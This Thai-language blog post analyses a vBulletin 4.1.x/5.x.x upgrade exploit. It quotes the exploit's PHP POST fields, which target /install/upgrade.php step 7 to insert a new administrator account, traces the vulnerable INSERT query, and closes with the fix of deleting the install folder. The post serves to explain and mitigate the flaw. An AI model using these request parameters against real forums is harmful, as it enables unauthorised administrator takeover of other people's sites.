ช่องโหว่ตัวนี้คือ vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit โดย Exploit นี้จะพบได้ใน Directory ที่ติดตั้ง vBulletin ใน vBulletin เวอร์ชั่น 4.1.x และ 5.x.x ครับ
$fields = array(
'ajax' => urlencode('1'),
'version' => urlencode('install'),
'checktable' => urlencode('false'),
'firstrun' => urlencode('false'),
'step' => urlencode('7'),
'startat' => urlencode('0'),
'only' => urlencode('false'),
'customerid' => urlencode($_POST['customerid']),
'options[skiptemplatemerge]' => urlencode('0'),
'response' => urlencode('yes'),
'htmlsubmit' => urlencode('1'),
'htmldata[username]' => urlencode($_POST['username']),
'htmldata[password]' => urlencode($_POST['password']),
'htmldata[confirmpassword]' => urlencode($_POST['password']),
'htmldata[email]' => urlencode($_POST['email'])
);
จาก Exploit Code ที่เป็นภาษา PHP อ่านได้ใจความว่าเป็นการ POST ค่าพารามิเตอร์ที่เป็น username/password ไปยังไฟล์ /install/upgrade.php เมื่อสันนิษฐานได้แบบนี้ก็คิดต่อได้เลยว่า ต้องมีการ Insert User ใหม่เข้าไปใน database โดยเป็นสิทธิ์ Admin แน่นอน ผมจึงตามไปจนเจอว่าอยู่ในไฟล์ /install/includes/class_upgrade_install.php ฟังก์ชั่น step_7 ครับ
/*insert query*/
$this->db->query_write("
INSERT INTO " . TABLE_PREFIX . "user
(username, salt, password, email, usertitle, joindate, lastvisit, lastactivity, usergroupid, passworddate, options, showvbcode)
VALUES (
'" . $this->db->escape_string(htmlspecialchars_uni($data['htmldata']['username'])) . "',
'" . $this->db->escape_string($salt) . "',
'" . $this->db->escape_string(md5(md5($data['htmldata']['password']) . $salt)) . "',
'" . $this->db->escape_string($data['htmldata']['email']) . "',
'" . $this->db->escape_string($this->phrase['install']['usergroup_admin_usertitle']) . "',
" . TIMENOW . ",
" . TIMENOW . ",
" . TIMENOW . ",
6,
FROM_UNIXTIME(" . TIMENOW . "),
$admin_useroption,
2
)
");
โดยที่ htmldata[xxx] ที่ POST มานั้นมาจาก Input Form ของหน้า Upgrade เอง สังเกตได้จากตัวแปร $html จะมี input อยู่และ name="htmldata[xxx]" ยกตัวอย่าง input username
<td class="alt1"> <div id="ctrl_username"> <input type="text" tabindex="1" dir="ltr" size="35" value="' . htmlspecialchars_uni($data['htmldata']['username']) . '" id="it_username_1" name="htmldata[username]" class="bginput" vbrequire="1" /> </div> </td>
จากฟังก์ชั่น step_7 จะสังเกตได้อย่างที่ข้างต้นกล่าวว่า เป็นการ Insert User ลงไปใน Database จากนั้นก็จับคู่เลยว่า Field ไหน Data อะไร ยกตัวอย่าง usergroupid = 6
เลข 6 คือกลุ่ม Administrator ในระบบ vBulletin ทำให้ข้อมูลที่ยิงเข้าไปกลายเป็น Administrator และ Login เข้าเว็บด้วยสิทธิ์ Admin ได้เลย เมื่อเป็น Admin เว็บแล้วทำอะไรได้บ้าง จินตนาการต่อเองนะครับ :P
วิธีการแก้ไขสำหรับ vBulletin เวอร์ชั่น 4.x ให้ลบโฟลเดอร์ /install เวอร์ชั่น 5.x ให้ลบโฟลเดอร์ /core/install ครับ ส่วนมาก CMS หลังลงเสร็จจะมีเตือนให้ลบอยู่แล้ว เพราะว่าเท่าที่เห็นในการ Install จะมีการเขียนไฟล์ config.php, setting.php, etc... อาจจะโดน Bypass เขียนโค้ด PHP ลงไปแทนค่า username/password ที่ต่อกับ Database ก็เป็นได้ :),, ICheer_No0M | 2600Thailand
Ref : vBulletin 4.1.x / 5.x.x Upgrade 0day Exploit
Ref : vBulletin Manual


ไม่มีความคิดเห็น:
แสดงความคิดเห็น